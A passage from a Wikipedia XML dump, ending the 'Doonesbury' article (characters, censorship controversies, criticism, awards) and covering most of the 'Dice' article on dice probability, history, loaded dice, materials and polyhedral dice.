*[[Chase Talbott III]] - Life partner of Mark, and co-host of their NPR show, &quot;All Things Being Equal.&quot;
*[[Ron Headrest]], computer-generated alter ego of President Reagan - Composite of [[Max Headroom]] and [[Ronald Reagan]]. A similar caricature of Reagan appeared briefly in the film [[Back to the Future Part II]].
*Rev. [[Scott Sloan]], chaplain at Walden - Named for Rev. [[William McLennan, Jr.|William &quot;Scotty&quot; McLennan, Jr.]], Trudeau's undergraduate roommate, and Rev. [[William Sloane Coffin]], Yale's chaplain while Trudeau was there.
*[[President King]], the president of Walden College - Based on [[Kingman Brewster, Jr.]], president of Yale when Trudeau was a student.  (Indeed, the same character appeared in '''Bull Tales''' more directly as Brewster.)
*[[Mr. Butts]], hallucinatory walking, talking cigarette - Represents [[Tobacco industry]].
*[[Donald Trump]], the greedy, rich man many would say he is in real life.
*[[Andy Lippincott]] - Joanie fell in love with him, but on a date, he revealed that he was gay. Was later diagnosed with and died of [[AIDS]].
*Mini-D, the small man who sometimes pops out of Duke's head (via a flip-top scalp) when Duke is stoned. The concept behind the character, or at least the name, could be said to be based on &quot;Mini-Me&quot; from the ''[[Austin Powers]]'' movies.
*Virginia &quot;Ginny&quot; Slade - During the 1970s, when Joanie moved to California to study law at [[Boalt Hall]], she moved in with Ginny, a much younger, [[African-American]] law student. Ginny ran for Congress as a semester project, with Zonker, Andy Lippincott and Jimmy Thudpucker contributing to her campaign. She lost the Democratic primary to a scandal-ridden incumbent, Congressman Ventura, then re-entered the campaign as an independent. Close to Election Day, she chose to drop out so that long-time Republican candidate Lacey Davenport would win.  Ginny later married her boyfriend, Clyde, an obnoxious but lovable guy. Clyde himself later ran against Davenport.
*[[Nicole (Doonesbury) | Nicole]] - A radical [[feminist]] and member of the Walden Commune.  She and Mike almost had an affair after meeting at their class reunion, but broke it off when Mike learned J.J. was pregnant.
*[[Bernie (Doonesbury) | Bernie]] - Mike's college lab partner and member of Walden Commune.  A mad scientist, he invented a [[werewolf]] potion and spent a summer in [[Scotland]] searching for the [[Loch Ness Monster]].  He later founded a computer company and hired Mike.
* [[Alice (Doonesbury) | Alice P. Schwarzman]] and [[Elmont (Doonesbury) | &quot;Crazy&quot; Elmont]] - Two [[homeless]] people, Alice first appeared as a garment worker who was a regular at a bar where Zonker was bartender. She later re-appeared as a homeless character.  She later married Elmont, a deranged man, in order to move up the list for public housing.  Rev. Sloan performed the ceremony. As the affluent Rep. Lacey Davenport became [[senile]], she began to regard Alice as her sister (there's some speculation that this might have been true).
* [[Sid Kibbitz]] - Sid first appeared in 1982 to help Duke and Alice Schwarzman produce a movie on the life of [[John DeLorean]], and later became Boopsie's agent.

In addition, many other minor characters have graced the series, serving a variety of functions from radio announcers to teenagers to waitstaff and with a wide range of ages and characteristics (male / female, young / old, gay / straight etc), often wryly commenting on social issues.

== Milestones ==
Doonesbury delved into a number of political and social issues, causing controversies, and breaking new ground on the comics pages.  Among the milestones:

*A November [[1972]] strip depicting Zonker telling a little boy in a sandbox a fairy tale ending in the [[protagonist]] being awarded &quot;his weight in fine, uncut Turkish [[hashish]]&quot; raises an uproar.
*During the [[Watergate scandal]], one strip showed Mark on the radio with a &quot;Watergate profile&quot; of [[John N. Mitchell|John Mitchell]], declaring him &quot;Guilty! Guilty, guilty, guilty!!&quot;; it caused a number of newspapers, including the [[Washington Post]], to remove the strip.
*In June [[1973]], the military newspaper [[Stars and Stripes]] drops Doonesbury for being too political.  The strip is quickly reinstated after hundreds of protests by readers.
*September 1973:  the ''[[Lincoln Journal]]'' becomes the first newspaper to move Doonesbury to its editorial page.
*In February [[1976]], Andy Lippincott, a classmate of Joanie's who she falls in love with, turns out to be gay. The ''[[Miami Herald]]'' decides they aren't &quot;ready for [[homosexuality]] in a comic strip.&quot;
*In November 1976, when the storyline included the blossoming romance of Rick Redfern and Joanie Caucus, four days of strips were devoted to a transition from one apartment to another, ending with a view of the two together in bed.  Again, the strip was removed from the comics pages of a number of newspapers.
*In June [[1978]], one strip included a coupon listing various politicians and dollar amounts allegedly taken from Korean [[lobbyist]]s,  to be clipped and glued to a postcard to be sent to the [[Speaker of the House]] [[Tip O'Neill]], resulting in an overflow of mail to the Speaker's office.
*In August [[1979]], Trudeau took a three-week vacation from the strip, which was uncommon among comic strip writers and artists.
*From January [[1983]] through September [[1984]], the strip was not published so that Trudeau could bring the strip to [[Broadway theatre|Broadway]].
*In June [[1985]], a series of strips includes photos of [[Frank Sinatra]] associated with a number of people with [[mafia]] connections, one alongside text from President [[Ronald Reagan]]'s speech awarding Sinatra the [[Medal of Freedom]].
*In January [[1987]], politicians are again declared &quot;Guilty, guilty, guilty.&quot; This time it is [[Donald Regan]], [[John Poindexter]] and [[Oliver North]], referring to their roles in the  [[Iran-Contra Affair]].
*In June 1989, several days' comics (which had already been drawn and written) had to be replaced with repeats, due to the humor of the strips being considered in bad taste in light of the mass murder of democracy demonstators in [[Tiananmen Square protests of 1989|Tiananmen Square]] in [[Beijing]], [[China]]. 
*In May 1990, the storyline included the death due to [[AIDS]] of Andy Lippincott.
*In November [[1991]], a series of strips implies that former Vice-President [[Dan Quayle]] has connections with drug-dealers.
*In December [[1992]], ''Working Woman'' magazine names two characters (Joanie Caucus and Lacey Davenport) as role models for women.
*In November [[1993]], a story line dealing with California wildfires was dropped from several California newspapers.
*In June [[1994]], the Roman Catholic Church took issue with a series of strips dealing with the book ''Same-Sex Unions in Premodern Europe'' by [[John Boswell]]. A few newspapers dropped single strips from the series, and the ''Pentagraph'' from Bloomington, Illinois, refused to run the entire series.
*In March [[1995]], [[John McCain]] denounces Trudeau on the floor of the [[United States Senate|Senate]], &quot;hold[ing] him in utter contempt&quot; for a strip about [[Bob Dole]]'s strategy of exploiting his war record in his [[U.S. presidential election, 1996|presidential campaign]]. (McCain and Trudeau later made peace: McCain wrote the foreword to ''The Long Road Home'', Trudeau's collection of comic strips dealing with B.D.'s leg amputation during the second Iraq war.)
* Later in [[1995]] Mark, a gay character from the strip, was seen in the final days of Berke Breathed's comic ''[[Outland (comic)|Outland]]'' heading off with a main character from that series, the previously-heterosexual Steve Dallas. 
*In February [[1998]], a strip dealing with [[Bill Clinton]]'s [[Monica Lewinsky|sex scandal]] was removed from the comics pages of a number of newspapers because it included the phrases &quot;[[oral sex]]&quot; and &quot;semen-streaked dress&quot;.
*In November [[2000]], a strip was not run in some newspapers when Duke says of then-Presidential candidate [[George W. Bush]]: &quot;He's got a history of alcohol abuse and [[cocaine]].&quot;
*In September [[2001]], a strip perpetuated the Internet hoax that claimed [[George W. Bush]] had the lowest IQ of any president in the last 50 years, half that of [[Bill Clinton]].  When caught repeating the hoax, Trudeau apologized for &quot;unsettling anyone who was under the impression that the President is, in fact, quite intelligent.&quot;
*In 2003 a cartoon that publicised the recent medical discovery that [[masturbation]] reduces the risk of [[colon cancer]], alluding to [[masturbation]] as &quot;self-dating&quot;, was not run in many papers.
*February 2004: Trudeau used his strip to make the apparently genuine offer of $10,000 for anyone who can personally confirm that [[George W. Bush]] was actually present during a part of his service in the [[United States National Guard|National Guard]]. As of [[2006]], the offer remains unclaimed.
* April 2004: On [[April 21]], after nearly 34 years, readers finally saw B.D.'s head without some sort of helmet.  In the same strip, it was revealed that he had lost a leg in the [[U.S.-led occupation of Iraq]]. Later that month, after awakening and discovering his situation, B.D. exclaims &quot;SON OF A ''BITCH!!!''&quot; The single strip was removed from many papers.
*May 2004: two Sunday strips are published containing only the names of soldiers killed in the War in Iraq.
*[[7 March]] [[2005]]: Begins serial memorializing the death of [[Hunter S. Thompson]].
*July 2005: Several newspapers decline to run two strips in which George W. Bush refers to his adviser [[Karl Rove]] as &quot;[[Turd Blossom]],&quot; a nickname Bush has been reported to use for Rove.
* The strips scheduled to run from [[31 October]] to [[5 November]] 2005 and a Sunday strip scheduled for [[13 November]] about the nomination of [[Harriet Miers]] to the Supreme Court were withdrawn suddenly after her nomination was. The strips have been posted on the official website {{ref|www.doonesbury.com.963}}, and were replaced by re-runs by the syndicate.

==Criticism==
[[Conservative]]s have long called for the censorship of ''Doonesbury''. Several examples are cited in the [[#Milestones|Milestones]] section. The strip has also met criticism from its readers almost since it began syndicated publication.  In another example, when Lacy Davenport's husband Dick, in the last moments before his death, calls on God, several conservative pundits, apparently not understanding the context, called the strip blasphemous. The sequence of Dick Davenport's final bird-watching and fatal heart attack were run in November 1986.

''Doonesbury'' has angered, irritated, or been rebuked by many of the political figures that have appeared or been referred to in the strip over the years. Outspoken critics have included members of every US Presidential administration since Richard Nixon's. There have also been other politicians who did not view the way that ''Doonesbury'' portrayed them very favorably, including former U.S. House Speaker Thomas &quot;Tip&quot; O'Neill and former California Governor Jerry Brown.

The strip has also met controversy over every military conflict it has dealt with, including Vietnam, Grenada, Panama and both Gulf Wars. When ''Doonesbury'' ran the names of soldiers who had died in Iraq since the 2003 invasion, conservative commentators accused Garry Trudeau of using the American dead to make a profit for himself, and again demanded that the strip be removed from newspapers.

After many letter writing campaigns demanding the removal of the strip were unsuccessful, conservatives changed their tactics, and instead of writing to newspaper editors, they began writing to one of the printers who prints the color Sunday comics.  In [[2005]], [[Continental Features]] gave in to their demands, and refused to continue printing the Sunday Doonesbury, causing it to disappear from the 38 Sunday papers that Continental Features printed.  Of the 38, only one newspaper ''[[The Anniston Star]]'' in [[Anniston]], [[Alabama]], continued to carry the Sunday Doonesbury, though of necessity in black and white.

==Awards and honors==
*In [[1975]] the strip won Trudeau a Pulitzer Prize for Editorial Cartooning, the first strip cartoon to be so honored.
*Trudeau received &quot;Certificates of Achievement&quot; from the [[US Army]] 4th Battalion 67th Armor Division and the Ready First Brigade in 1991 for his comic strips dealing with the first Gulf War. The texts of these citations are quoted on the back of the comic strip collection ''Welcome to Club Scud!''
*Trudeau won the Reuben Award from the National Cartoonists Society in [[1995]]. [http://www.reuben.org/ncs/awards2.asp]
*Trudeau was awarded the [[US Army]]'s [[Commander's Award for Public Service]] in [[2006]] for his series of strips about BD's recovery following the loss of his leg in Iraq. [http://www.editorandpublisher.com/eandp/search/article_display.jsp?vnu_content_id=1001919927]

== Trivia ==
* Long time supporting character Jim Andrews, and the company he works for (Universal Petroleum) were named by Trudeau after his first editor at Universal Press Syndicate, Jim Andrews. The book ''The People's Doonesbury'' is dedicated in memory of Andrews.
* [[Enzo Baldoni]], the strip's long time Italian translator and a personal friend of G. B. Trudeau was kidnapped and killed in Iraq where he was an independent reporter at the end of August 2004, in a tragic resemblance of what happened to B. D.

== Published collections ==
''See: [[List of published collections of Doonesbury]]''

== Notes ==
# {{Note|AmHumor511}} {{cite book | author=Blair, Walter and Hamlin Hill | title=America's Humor: From Poor Richard to Doonesbury | edition=First paperback edition | publisher=Oxford University Press | year=1980 | id=ISBN 0-19-502756-6 | pages=Page 511}}
# {{Note|Flashbacks_Oct76}} Article originally published in the Brunswick, NJ, ''Home News'', [[10 October]] [[1976]]. Reprinted on the ''Doonesbury Flashbacks'' CD-ROM.
# {{note|www.doonesbury.com.963}} {{cite web | title=Doonesbury@Slate - Miers' Strips | url=http://www.doonesbury.com/strip/miers.html | accessdate=November 19 | accessyear=2005 }}

== References ==
* {{cite book | authorlink = Garry Trudeau | last = Trudeau | first = Garry | title=Doonesbury: A Musical Comedy | publisher=Holt, Rinehart and Winston | year=1984 | id=ISBN 0517054914}}
* Trudeau, Garry, ''Doonesbury Flashbacks'' CD-ROM for Microsoft Windows. Published by Mindscape, 1995.
* [http://www.reuben.org/ncs/awards.asp NCS Awards]

== External links ==
* [http://www.doonesbury.com/ Doonesbury home page]
* {{imdb title|id=0075953|title=The Doonesbury Special (1977)}}

[[Category:Comic strips]]
[[Category:Doonesbury|*]]

[[it:Doonesbury]]
[[ja:ドゥーンズベリー]]
[[sv:Doonesbury]]</text>
    </revision>
  </page>
  <page>
    <title>Dice</title>
    <id>8244</id>
    <revision>
      <id>42132471</id>
      <timestamp>2006-03-04T01:03:12Z</timestamp>
      <contributor>
        <ip>196.40.10.254</ip>
      </contributor>
      <comment>/* Standard variations */</comment>
      <text xml:space="preserve">: ''For other uses, see either [[Die]] or [[Dice (disambiguation)]].''
[[Image:Wuerfel5.jpg|thumb|200px|Typical role-playing dice, showing a variety of colors and styles. Note the older hand-inked green d12 (showing an 11), manufactured before pre-inked dice were common. Many players collect or acquire a large number of mixed and unmatching dice.]]

A '''die''' ([[Old French]] ''de''&lt;!--[[Modern French]] ''dé''--&gt;, from [[Latin]] ''datum'' &quot;something given or played&quot;&lt;!--same origin as &quot;data&quot;--&gt; [http://www.askoxford.com/concise_oed/die_2?view=uk]) is a small [[polyhedron|polyhedral]] object, usually cubical, used for generating [[random number]]s. This makes dice suitable as [[gambling]] devices, especially for [[craps]] or [[sic bo]], or used in recreational non-gambling [[game]]s.

[[Image:Dice.jpg|thumb|150px|left|Two standard six-sided pipped dice with rounded corners.]]

Traditionally, a die is seldom seen alone, and is rather one of a pair of identical '''dice''' that are sized to be comfortably [[rolling|rolled]] or thrown, together, from a user's hand. The singular word &quot;die&quot; is therefore rare, and treating &quot;dice&quot; as interchangeably singular or plural is not uncommon; the re-pluralized form &quot;dices&quot; is found sometimes. A traditional die is a [[cube (geometry)|cube]] (often with corners slightly rounded), marked on each of its six faces with a different number of circular patches or pits called '''pips'''.  All of these pips have the same appearance within a pair, or larger set of dice, and are sized for ease of recognizing the pattern the pips on one face form.  The design as a whole is aimed at each die providing one randomly determined [[integer]], in the range from one to six, with each of those values being equally likely.

More generally, a variety of analogous devices are often described as dice, but necessarily in a context, or with a word or two preceding &quot;die&quot; or &quot;dice&quot;, that avoids the assumption that traditional dice are intended.  Such specialized dice may have cubical or other polyhedral shapes, with faces marked with various collections of symbols, and be used to produce other random results than one through six. There are also &quot;loaded&quot; or &quot;crooked&quot; dice (especially otherwise traditional ones), meant to produce skewed or even predictable results, for purposes of deception or amusement.

== Ordinary dice ==
[[image:dice01.jpg|frame|right|European-style, Chinese, and casino dice.]]
[[Image:Sixsided Dice inJapan.jpg|right|thumb|[[Japan]]ese die, with its distinctive oversized pip.]]
The common dice are small [[cube (geometry)|cube]]s 1 to 2 cm along an edge, whose faces are numbered from one to six (usually by patterns of dots called ''pips''). It is traditional to assign pairs of numbers that total seven to opposite faces (it has been since at least [[classical antiquity]]); this implies that at one vertex the faces 1, 2 and 3 intersect. It leaves one other abstract design choice: the faces representing 1, 2 and 3 respectively can be placed in either [[clockwise and counterclockwise|clockwise or anti-clockwise]] order about this vertex.

Dice are thrown to provide (supposedly [[Uniform distribution (discrete)|uniformly distributed]]) [[random]] numbers for [[gambling]] and other [[game]]s and thus are a type of [[hardware random number generator]].  However, because the numbers on toy dice are marked with small indentations, slightly more material is removed from the higher numbered faces. This results in a small bias, and they do not provide fair (uniform) random numbers. Casino dice have markings that are flush with the surface and come very close to providing true uniformly distributed random numbers.

Dice are [[throw]]n, singly or in groups, from the hand or from a cup or box designed for the purpose, onto a flat surface.
The face of each die that is uppermost when it comes to rest provides the value of the throw.  A typical [[dice games|dice game]] today is [[craps]], wherein two dice are thrown at a time, and wagers are made on the total value of up-facing spots on the two dice.  They are also frequently used to randomize allowable moves in [[board game]]s such as [[Backgammon]].

== Terms ==

While the terms ''ace'', ''deuce'', ''trey'', ''cater'', ''cinque'' and ''sice'' are hardly common today having been replaced with the ordinary names of the numbers one to six, they are still used by some professional gamblers to describe the different sides of the dice.  ''[[Ace]]'' is from the Latin ''as'', meaning &quot;a unit&quot; [http://www.askoxford.com/concise_oed/ace]; the others are the numbers 2&amp;ndash;6 in old French.

===Probability===

For a single roll, the probability of rolling each value, 1 through 6, is exactly 1 in 6.  For a double roll, however, the total of both rolls is not evenly distributed, but is distributed in a triangular curve, as follows:

{| align=center class=toccolors cellpadding=&quot;4&quot;
!style=&quot;background:#ccf;&quot;|Total of Dice|| &lt;center&gt;2&lt;/center&gt; || &lt;center&gt;3&lt;/center&gt; || &lt;center&gt;4&lt;/center&gt; || &lt;center&gt;5&lt;/center&gt; || &lt;center&gt;6&lt;/center&gt; || &lt;center&gt;7&lt;/center&gt; || &lt;center&gt;8&lt;/center&gt; || &lt;center&gt;9&lt;/center&gt; || &lt;center&gt;10&lt;/center&gt; || &lt;center&gt;11&lt;/center&gt; || &lt;center&gt;12&lt;/center&gt;
|-
!style=&quot;background:#ccf;&quot;| Probability || &lt;center&gt;&lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;2&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;3&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;4&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;5&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;6&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;5&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;4&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;3&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;2&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt;
|}

For the total of rolls of three or more dice, the curve becomes more bell-shaped with each additional die (according to the [[central limit theorem]]).

The probability of rolling the same random number repeatedly goes down by &lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;6&lt;/sub&gt; with each additional die:

{| align=center class=toccolors cellpadding=&quot;4&quot;
!style=&quot;background:#ccf;&quot;|No. of Dice || &lt;center&gt;1&lt;/center&gt; || &lt;center&gt;2&lt;/center&gt; || &lt;center&gt;3&lt;/center&gt; || &lt;center&gt;4&lt;/center&gt;
|-
!style=&quot;background:#ccf;&quot;| Probability || &lt;center&gt;&lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;6&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;216&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;1296&lt;/sub&gt;&lt;/center&gt;
|}

The above list only applies if the number to throw multiple times in a row is randomly chosen. To throw a certain chosen number more than once in a row, the probability is lower:

{| align=center class=toccolors cellpadding=&quot;4&quot;
!style=&quot;background:#ccf;&quot;|No. of Dice || &lt;center&gt;2*'X'&lt;/center&gt; || &lt;center&gt;3*'X'&lt;/center&gt; || &lt;center&gt;4*'X'&lt;/center&gt; || &lt;center&gt;5*'X'&lt;/center&gt;
|-
!style=&quot;background:#ccf;&quot;| Probability || &lt;center&gt;&lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;36&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;216&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;1296&lt;/sub&gt;&lt;/center&gt; || &lt;center&gt;&lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;7776&lt;/sub&gt;&lt;/center&gt;
|}

=== History ===
[[image:Knuck_dice_Steatite_37x27x21_mm.JPG|thumb|left|200px|Knucklebone dice, made of Steatite]]
Dice were probably originally made from the ankle bones of hoofed animals (such as [[oxen]]), colloquially known as &quot;knucklebones&quot;, which are approximately [[tetrahedron|tetrahedral]].  Even today, dice are sometimes colloquially referred to as &quot;bones&quot;, as in &quot;shake them bones&quot;.  [[Ivory]], [[bone]], [[wood]], [[metal]], and [[Rock (geology)|stone]] materials have been commonly used, though the use of [[plastic]]s is now nearly universal.  It is almost impossible to trace clearly the development of dice as distinguished from knucklebones, because ancient writers confused the two games.  It is certain, however, that both were played in prehistoric times.
[[Image:historical dice.jpg|thumb|right|200px|A collection of historical dice from Asia]]
The fact that dice have been used throughout the Orient from time immemorial, as has been proved by excavations from ancient tombs, seems to point clearly to an [[Asia]]tic origin.  Dicing is mentioned as an [[India]]n game in the [[Rig-veda]].  In its primitive form knucklebones was essentially a [[game of skill]] played by women and children.  In a derivative form of knucklebones, the four sides of the bones received different values and were counted as with modern dice.  Gambling with three or sometimes two dice was a very popular form of amusement in [[Greece]], especially with the upper classes, and was an almost invariable accompaniment to banquets (''symposia'').

The [[Culture of Ancient Rome|Romans]] were passionate gamblers, especially in the luxurious days of the [[Roman Empire]], and dicing was a favourite form, though it was forbidden except during the [[Saturnalia]].  [[Horace]] derided what he presented as a typical [[youth]] of the period, who wasted his time amid the dangers of dicing instead of taming his [[horse|charger]] and giving himself up to the hardships of the chase.  Throwing dice for money was the cause of many special [[law]]s in [[Rome]].  One of these stated that no [[lawsuit|suit]] could be brought by a person who allowed gambling in his house, even if he had been cheated or assaulted.  Professional gamblers were common, and some of their loaded dice are preserved in [[museum]]s.  The common public-houses were the resorts of gamblers, and a [[fresco]] is extant showing two quarrelling dicers being ejected by the indignant host.

[[Gaius Cornelius Tacitus|Tacitus]] states that the [[Germanic tribes|Germans]] were passionately fond of dicing, so much so, indeed, that, having lost everything, they would even stake their personal liberty.  Centuries later, during the middle ages, dicing became the favourite pastime of the [[knight]]s, and both dicing schools and guilds of dicers existed.  After the downfall of [[feudalism]] the famous German [[mercenary|mercenaries]] called [[landsknecht]]s established a reputation as the most notorious dicing gamblers of their time.  Many of the dice of the period were curiously carved in the images of men and beasts.  In [[France]] both knights and ladies were given to dicing.  This persisted through repeated legislation, including interdictions on the part of [[Louis IX of France|St. Louis]] in [[1254]] and [[1256]].

In [[China]], [[India]], [[Japan]], [[Korea]], and other Asiatic countries, dice have always been popular and are so still. The markings on [[Chinese dominoes]] evolved from the markings on dice, taken two at a time.

=== Loaded dice ===
A '''loaded ''' or '''gaffed''' die is a die that has been tampered with to land with a selected side facing upwards more often than it would simply by [[probability|chance]]. There are methods of creating loaded dice, including having some edges round and other sharp and slightly off square faces. If the dice are not transparent, weights can be added to one side or the other.  They can be modified to produce winners (&quot;passers&quot;) or losers (&quot;miss-outs&quot;). &quot;Tappers&quot; have a drop of [[mercury (element)|mercury]] in a reservoir at the center of the cube, with a [[Capillary action|capillary tube]] leading to another mercury reservoir at the side of the cube.  The load is activated by tapping the die on the table so that the mercury leaves the center and travels to the side.  Often one can see the circle of the cut used to remove the face and bury the weight. In a professional die, the weight is inserted in manufacture; in the case of a wooden die, this can be done by carving the die around a heavy inclusion, like a [[pebble]] around which a tree has grown.

A variable loaded die is hollow with a small weight and a semi-solid substance inside, usually [[wax]], whose [[melting point]] is just lower than the temperature of the human body. This allows the cheater to change the loading of the die by breathing on it or holding it firmly in hand, causing the wax to melt and the weight to drift down, making the chosen opposite face more likely to land up. A less common type of variable die can be made by inserting a [[magnet]] into the die and embedding a coil of wire in the game table.  Then, either leave the current off and let the die roll unchanged or run current through the coil to increase the likelihood that the north side or the south side will land on the bottom depending on the direction of the current.

Transparent [[acetate]] dice, used in all reputable [[casino]]s, are harder to tamper with.

=== Materials ===
[[Image:1Dice00_5465.JPG|right|thumb|125px| Plastic dice]]
[[Image:16mm_Brass_Dice.jpg|right|thumb|125px| Metal dice, made of brass]]
It is unknown of what material the earliest polyhedral dice were made.  A pair of icosahedral (20-sided) dice dating from Roman times are on display at the [[British Museum]]. Roughly cubical six-sided Roman dice made of [[wood]], [[bone]], [[ivory]] and [[lead]] have been discovered. It is possible that polyhedral dice were used by even earlier cultures.

Precision casino dice, used for the game of [[craps]], are made from [[cellulose acetate]]. These dice may have a polished finish, making them transparent, or a sand finish, making them translucent. While red is the most common color, they are also seen in casinos in green, amber, blue, or other colors. Casino dice have their pips drilled, and then filled flush with a paint of the same specific gravity as the acetate, such that the dice remain in perfect balance. In casino play, a stick of 5 dice are used, all stamped with a matching serial number to prevent a cheat from substituting a die.
 
Polyhedral dice are usually made of [[plastic]], though infrequently [[metal]], [[wood]]en, and semi-precious stone dice can be found.  Early polyhedral dice from the 1970s and 1980s were made of a soft plastic that would easily wear as the die was used.  Typical wear and tear would gradually round the corners and edges of the die until it was unusable.  Modern polyhedral dice are typically made of high-impact plastic and can withstand years of use without visible wear.  [[Lou Zocchi]] and his company [[Gamescience]] not only always guaranteed that their high-impact plastic dice would not wear down the way other companies' dice did, but for years criticized major dice manufacturers for crafting unfair, loaded dice through sloppy polishing techniques and substandard materials. He was also the creator of the famous and bizarre 100 sides dice, the [[Zocchihedron]].

Polyhedral dice can be purchased at most hobby stores in numerous combinations. In the early days of [[role-playing game]]s, most dice came with the numbers uninked and players took great care in painting their sets of dice. Some twenty-sided dice of this era came numbered zero through nine twice; half of the numbers had to be painted a contrasting color to signify the &quot;high&quot; faces. Such a die could also double as a ten-sided die by ignoring the distinguishing coloring.

== Cubical dice with faces representing values other than digits 1 through 6 ==
As noted, the faces of most dice are labelled to using an unbroken series of whole numbers, starting at one (or zero), expressed with either pips or digits. Common exceptions include:
[[image:Poker_01.jpg|right|thumb|230px| Poker Dice.]]
* colour dice (e.g., with the colours of the playing pieces used in a game)
* [[Poker]] dice, with the following labels somewhat reminiscent of the names of standard [[playing card]]s:
** Nine (of spades; black)
** Ten (of diamonds; red)
** Jack (blue)
** Queen (blue)
** King (red)
** Ace (of clubs; black)
* dice with letters (e.g. in [[Boggle]])
* doubling dice (2, 4, 8, 16, 32, 64)
* average dice (2, 3, 3, 4, 4, 5)
* cheat dice, such as: 
** one face each with two through five, and two with sixes, or
** for [[craps]], a pair of dice in which one die has five on each face, and its mate has a mixture of twos and sixes, guaranteeing rolls of seven or 11
* so-called &quot;3-sided dice&quot;, each a cubical die with each of its faces marked identically to exactly one of the other faces, yielding three equally likely distinguishable outcomes, for example: 
** those (usually abbreviated ''d3'') in some role-playing games, labelled 1, 2, and 3 respectively, or
** ''[[FUDGE]] dice'', with two minus (&amp;minus;) sides, two blank sides, and two plus (+) sides; a throw of ''n'' fudge dice yields an integer from ''&amp;minus;n'' to ''n'', by reading &quot;&amp;minus;&quot; as &quot;&amp;minus;1&quot; and &quot;+&quot; as &quot;+1&quot; and summing the faces showing.
* random direction dice also known as scatter dice. The dice have arrows on each side, the outcome of a roll is a random direction. Scatter dice are used in [[Tabletop_wargaming|tabletop wargames]] such as [[Warhammer Fantasy Battle]] to determine random movements of troops, wind direction or direction of misfired arms.

== Non-cubical dice ==
[[Image:Dados rodillo.jpg|thumb|right|Rolling-pin style dice]]
'''Polyhedral dice''' are [[dice]] with more or fewer than six sides. They were once almost exclusively used by fortune-tellers and in other occult practices, but they have become popular lately among players of [[wargame]]s, [[trading card game]]s, [[German-style board game]]s, and [[role-playing game]]s. Although polyhedral dice are a relative novelty during modern times, some ancient cultures appear to have used them in games (as evidenced by the presence of two icosahedral dice dating from the days of [[ancient Rome]] on display in the [[British Museum]]). Such dice are typically plastic, and have faces bearing numerals rather than patterns of dots. Reciprocally symmetric numerals are distinguished with a dot in the lower right corner (6. vs 9.) or by being underlined (&lt;u&gt;6&lt;/u&gt; vs &lt;u&gt;9&lt;/u&gt;).

Dice with various numbers of faces are often described by their numbers of sides, with a ''d6'' being a six-sided die, a ''d10'' a ten-sided die, and so forth. When more than one die is used, the standard terminology is to have two numbers separated by the 'd' - &lt;i&gt;Number of Dice&lt;/i&gt; 'd' &lt;i&gt;Number of sides on each die&lt;/i&gt;. Hence 2d6 is simply Two Six-Sided Dice, suitable for games of [[Monopoly]] or [[Craps]].

The [[platonic solid]]s are commonly used to make dice of 4, 6, 8, 12, and 20 faces. Other shapes can be found to make dice with 5, 7, 10, 16, 24, 30, 34, 50, or 100 sides, but other than the 10 sided, they are rarely used. (See ''[[Zocchihedron]]''.)

{| class=&quot;toccolours&quot; style=&quot;margin: 0 auto;&quot;
|-
|id=&quot;toc&quot; style=&quot;padding:0;&quot;|[[image:20-sided dice 250.jpg|180px|20-sided die]]
|id=&quot;toc&quot; style=&quot;padding:0;&quot;|[[image:10-sided dice 250.jpg|180px|10-sided die]]
|id=&quot;toc&quot; style=&quot;padding:0;&quot;|[[image:4-sided dice 250.jpg|180px|4-sided die]]
|- style=&quot;font-size:94%;&quot;
|20-sided die||10-sided die||4-sided die
|}

A large number of different [[probability distribution]]s can be obtained using these
dice in various ways; for example, [[10-sided dice|10-sided dice]] (or 20-sided dice labeled with single digits) are often used in pairs to produce a linearly-distributed random percentage. Summing multiple dice approximates a [[normal distribution]] (a &quot;bell curve&quot;),
while eliminating high or low throws can be used to skew the distribution in various ways.
Using these techniques, games can closely approximate the real probability distributions
of the events they simulate.

There is some controversy over whether manufacturing processes create genuinely &quot;fair&quot; dice (dice that roll with even distributions over their number span). [[Casino]] dice are legally required to be fair; those used by all others hold no such requirement.

Spherical dice also exist; these function like the plain cubic dice, but have an octahedral internal cavity in which a weight moves which causes them to settle in one of six orientations when rolled.

[[Cowry]] shells or [[coin]]s may be used as a kind of two-sided dice (&quot;d2&quot;). (Because of their shape, cowry shells probably do not yield a [[uniform distribution]].)

=== Standard variations ===
[[Image:BluePlatonicDice.jpg|frame|center|A matched Platonic-solids set of five dice, (from left) tetrahedron (d4), cube (d6), octahedron (d8), dodecahedron (d12) and icosahedron (d20).]]

